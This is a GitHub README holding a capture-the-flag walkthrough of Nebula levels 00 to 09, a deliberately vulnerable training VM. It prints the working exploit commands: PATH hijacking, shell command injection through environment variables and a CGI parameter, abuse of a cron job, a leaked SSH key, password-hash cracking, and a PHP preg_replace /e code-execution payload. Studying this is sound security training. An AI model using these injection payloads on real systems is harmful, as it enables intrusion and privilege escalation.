Skip to content

ingben/nebula-exploits

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 

Repository files navigation

nebula-exploits

Digging through https://exploit-exercises.com/nebula/

Level00

The goal is to find a setuid program that runs as user level00.

  • check current user id. turns out we are level00:level00
  • check man find
    • figure out how to search for files with certain permissions. turns out there is a -perm flag
    • google for bitmask of setuid bit => 4000
  • find / -perm -4000 | more
  • note the file /rofs/bin/.../flag00. examine it with ls -al /rofs/bin/.../flag00 => got it.
  • run /rofs/bin/.../flag00
  • run getflag
  • done.

Level01

We need to exploit a vulnerability in a C program. The code is given and goes as follows:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

The vulnerability is that the program calls echo without an absolute path. So as a user, you can manipulate the PATH environment variable and put your own echo program in the new path.

A symbolic link to the getflag program will do the trick. Since the program leve01 has an S-bit set for the user, and is owned by flag01, we can actually get the flag.

level01@nebula:~$ ls /home/flag01/
flag01
level01@nebula:~$ ls -al /home/flag01/
total 13
drwxr-x--- 2 flag01 level01   92 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile
level01@nebula:~$ /home/flag01/flag01
and now what?
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account
level01@nebula:~$

Level02

The program uses untrusted user input for the system call.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}

Can be exploited by setting the USER env variable.

level02@nebula:/home/flag02$ USER="bla; getflag; echo "
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo bla; getflag; echo  is cool")
bla
You have successfully executed getflag on a target account
is cool
level02@nebula:/home/flag02$

Level03

Put a SHELL script inside the writable directory. Wait until the cronjob kicks in. It will be executed by the user flag03.

level03@nebula:/home/flag03$ cat writable.d/getflag
#!/bin/bash

getflag > /home/flag03/output
level03@nebula:/home/flag03$ ls
output  writable.d  writable.sh
level03@nebula:/home/flag03$ cat output
You have successfully executed getflag on a target account
level03@nebula:/home/flag03$

Level04

The access control works based on a string comparison with strstr.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

The solution is to create another hard link for the file that contains the token, without using the string token.

level04@nebula:/home/flag04$ ln token /home/level04/bla
level04@nebula:/home/flag04$ ./flag04 /home/level04/bla
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$

Level05

There is a directory .backup in the home directory of the flag05 user.

level05@nebula:/home/flag05/.backup$ ls -al
total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 4 flag05 level05   93 2012-08-18 06:56 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz

Copy it to the home directory of your account (i.e. /home/level05) and extract it. Inside, there is the .ssh directory of the user flag05, including a private key. You can use this to ssh into the box as user flag05 and then get the flag.

level05@nebula:~/.ssh$ ls -al
total 12
drwxr-xr-x 1 level05 level05  100 2011-07-19 02:37 .
drwxr-x--- 1 level05 level05  100 2017-01-06 14:19 ..
-rw-r--r-- 1 level05 level05  394 2011-07-19 02:37 authorized_keys
-rw------- 1 level05 level05 1675 2011-07-19 02:37 id_rsa
-rw-r--r-- 1 level05 level05  394 2011-07-19 02:37 id_rsa.pub
level05@nebula:~/.ssh$ vim authorized_keys
level05@nebula:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLAINcUvucamDG5PzLxljLOJ/nrkzot7EQJ9pEWXoQJC0/ZWm+ezhFHQd5UWlkwPZ2FBDvqxdcrgmmHT/FVGBjK0XWGwIkuJ50nf5pbJExi2SC9kNMMMP2VgY/OxvcUuoGhzEISlgkuu4hJjVh3NeliAgERVzxKCrxSvW48wcAxg4v5vceBra6lY7u8FT2D3VIsHogzKN77Z2g7k2qY82A0vOqw82e/h6IXLjpYwBur0rm0/u3GFB1HFhnAxuGcn4IsnQSBdQCB2S+eOUZ4PmiQ/rUSHuVvMeLCzrxKR+UG9zDwoCwwXpNJehAQJGCiL3JzBNnLjFaylSqKP6xj7cR user@wwwbugs
level05@nebula:~/.ssh$ ssh -i id_rsa localhost -lflag05
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

flag05@nebula:~$ cd
flag05@nebula:~$ ls
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Level06

The password hash for the account flag06 is stored in /etc/passwd.

level06@nebula:/home/flag06$ ls -al /etc/passwd
-rw-r--r-- 1 root root 2604 2011-12-06 02:12 /etc/passwd
level06@nebula:/home/flag06$ grep "flag06" /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
level06@nebula:/home/flag06$

It can be easily cracked with John the Ripper.

john --wordlist=~/code/wordlists/lists/02_rockyou.txt level06.hash
Warning: detected hash type "descrypt", but the string is also recognized as "descrypt-opencl"
Use the "--format=descrypt-opencl" option to force loading these as that type instead
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello            (?)
1g 0:00:00:00 DONE (2017-01-07 13:24) 100.0g/s 12800p/s 12800c/s 12800C/s 123456..diamond
Use the "--show" option to display all of the cracked passwords reliably
Session completed
level06@nebula:/home/flag06$ su flag06
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Level07

The perl script is vulnerable to command injection.

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

It is served by a web server on port 7007. The process is running as user flag07. The following URL does the trick to get the flag.

http://192.168.99.100:7007/index.cgi?Host=%3bgetflag

I had some trouble to get the full response in the beginning. That is using backticks like so ...Host=`getflag` did not work. The command was executed, but I did not see the full response.

Level08

There is a pcap file inside the users directory.

level08@nebula:/home/flag08$ ls -al
total 18
drwxr-x--- 1 flag08 level08   60 2017-01-07 09:56 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw------- 1 flag08 flag08     5 2017-01-07 09:56 .bash_history
-rw-r--r-- 1 flag08 flag08   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag08 flag08  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 root   root    8302 2011-11-20 21:22 capture.pcap
-rw-r--r-- 1 flag08 flag08   675 2011-05-18 02:54 .profile
level08@nebula:/home/flag08$

You can analyze it with tcpdump. However I found it easier to copy it down to my host, and use wireshark instead. When you look at the packets, you will notice that there is a password 'prompt'. Afterwards, the user sends one byte of his password per packet.

At first, you might guess that the password is backdoor. However, note that after the last r, there are three delete characters 7f send. So the user has deleted the last three characters again.

Follow the packet stream further, end you will end up with the correct password.

level08@nebula:~$ echo "backd00Rmate"
backd00Rmate
level08@nebula:/home/flag08$ su flag08
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Level09

<?php

function spam($email)
{
	$email = preg_replace("/\./", " dot ", $email);
	$email = preg_replace("/@/", " AT ", $email);

	return $email;
}

function markup($filename, $use_me)
{
	$contents = file_get_contents($filename);

	$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
	$contents = preg_replace("/\[/", "<", $contents);
	$contents = preg_replace("/\]/", ">", $contents);

	return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

This was actually a pain. I spotted the vulnerability pretty early. The /e option in the first preg_replace call in the markup() function is the key. This way, you can pass in the otherwise not used $use_me variable to get code execution. However I spent an hour before looking up someone else's write up to exploit it.

In the end, this is the solution:

level09@nebula:/home/flag09$ ./flag09 ~/test "getflag > /tmp/cmd_out"
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

level09@nebula:/home/flag09$ cat /tmp/cmd_out
You have successfully executed getflag on a target account
level09@nebula:/home/flag09$ cat ~/test
[email {${shell_exec($use_me)}}]
level09@nebula:/home/flag09$

Meh. PHP.

Oh well. I should have started reading on the PCRE man page in the beginning. You literally get almost the complete exploit in it.

The above example code can be easily exploited by passing in a string such as <h1>{${eval($_GET[php_code])}}</h1>. This gives the attacker the ability to execute arbitrary PHP code and as such gives him nearly complete access to your server.

So this works, too.

level09@nebula:/home/flag09$ cat ~/test2
[email {${eval($_GET[shell_exec($use_me)])}}]
level09@nebula:/home/flag09$

Releases

No releases published

Packages

No packages published